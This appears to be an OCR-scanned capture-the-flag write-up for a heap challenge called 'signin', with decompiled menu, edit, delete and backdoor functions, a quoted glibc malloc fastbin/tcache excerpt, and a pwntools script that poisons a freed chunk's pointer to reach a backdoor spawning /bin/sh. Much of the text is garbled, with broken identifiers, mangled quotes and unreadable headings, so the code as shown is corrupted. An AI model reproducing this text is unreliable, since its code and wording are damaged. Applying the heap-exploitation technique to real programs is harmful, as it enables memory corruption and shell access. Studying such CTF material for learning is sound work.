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Signin(calloch M tcache & B chunk)
B, WE—TERFRERFILH

Ra, BATHIDADHT—TF, FE—NEITERE, EPITEHEL, FEptriA0

-
lf( I‘:.'-l:.-.’".'l;
BLL;

.:nl;

memset(&:, 8, GxlBull);

read(d, &5, BxFull);

= atoi{{cor r *)}&s);
if ( == 2 )
edit);
}
else if ( »2)
{
if ( =3 )
{
if = 6 )
backdoor();
goto thBEL—13;
}
del();
}
else
{
if ( I= 1}
{
LABEL_12
puts(“no h choice!™):
return readf sqword (Bx28u)
}
add()

1
raturn readf coened (AIRN & wd-
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void _ noreturn backdoor()
i
calloc(lull, @x7eulLL);
if ( ptr )
Systemt“7bin/sh"};
exit(e);
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!l memset(&:, @, Ox10uLL);

i read(@, &=, @xFull);

| vl = atoi((const char *)&s);

if ( vl <= @xF &% flags[vl] == 1)

free((void *)ptrlist[vl]);
flags[vi] = @;

return __readfsqword(@x28u) ~ vi;
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kinsigned _ int64 edit()

int v@; // STOC_4

int64 s; /f [rsp+18h] [rbp-28h]

int64 v3; f/ [rsp+18h] [rbp-18h]
unsigned __int64 vé&; [/ [rsp+28h] [rbp-8h]
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3| vd4 = __readfsqword(®x28u);

3] if ( ent >=0 )

)| {

1 puts(“idx?");

2 s = 0LL;

3 v3 = OLL;

1 memset{&s, @, @x10ull);

3 read(@, &=, @xFull);

5 v@ = atoi{(const char *)&s);

7 read(®, (void *)ptrlist[ve], @x56uLL);
3 L I
| R

3
1

return __readfsqword(@x2Bu) ~ v4;

}
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oid _ noreturn_backdoor()
{
calloc(lull, Ox7QuLL);
1
system({"/bin/sh"};
exit(@);
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1. if ((unsigned long) (nb) <= (unsigned long) (get_max fast ()))
2. |

3. idx = fastbin_index (nb);

4, mfastbinptr *fb = &fastbin (av, idx);

5 mchunkptr pp;

6 victim = *fb;

7



8.  if (victim!= NULL)

9. {
10. if (SINGLE_THREAD_P)
11. *fb = victim->fd;
12. else

13. REMOVE_FB (fb, pp, victim);
14. if (__glibc_likely (victim != NULL))

15. {

16. size_t victim_idx = fastbin_index (chunksize (victim));
17. if (__builtin_expect (victim_idx !=idx, 0))

18. malloc_printerr ("malloc(): memory corruption (fast)");
19. check_remalloced_chunk (av, victim, nb);

20. #if USE_TCACHE

21. /* While we're here, if we see other chunks of the same size,
22, stash them in the tcache. */

23. size_t tc_idx = csize2tidx (nb);

24, if (tcache && tc_idx < mp_.tcache_bins)

25. {

26. mchunkptr tc_victim;

27.

28. /* While bin not empty and tcache not full, copy chunks. */
29. while (tcache->counts[tc_idx] < mp_.tcache_count
30. && (tc_victim = *b) 1= NULL)

31. {

32. if (SINGLE_THREAD_P)

33. *fb = tc_victim->fd;

34, else

35. {

36. REMOVE_FB (fb, pp, tc_victim);

37. if (__glibc_unlikely (tc_victim == NULL))

38. break;

39. }

40. tcache_put (tc_victim, tc_idx);

41. }

42, }

43. #endif

44, void *p = chunk2mem (victim);

45, alloc_perturb (p, bytes);

46. return p;

47. }

48. }

49. }
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#coding:utf8
from pwn import *

sh = process('./signin")
ptr = 0x4040C0

def create(index):
sh.sendlineafter('your choice?','1")
sh.sendlineafter('idx?',str(index))

def edit(index,content):
sh.sendlineafter('your choice?','2")
sh.sendlineafter('idx?',str(index).1ljust(OxE, '\x00"'))
sh.send(content)

def delete(index):
sh.sendlineafter('your choice?','3")
sh.sendlineafter('idx?',str(index))

#HIES M

for i in range(8):
create(i)

#RER8/MHE, 7/Mdttcache, 14MEfastbin
for i in range(8):

delete(i)
#Mtcache BEUH —A, MEFR Te4
create(8)
edit(7,p64(ptr - 0x10))
#getshell

sh.sendlineafter('your choice?','6")

sh.interactive()
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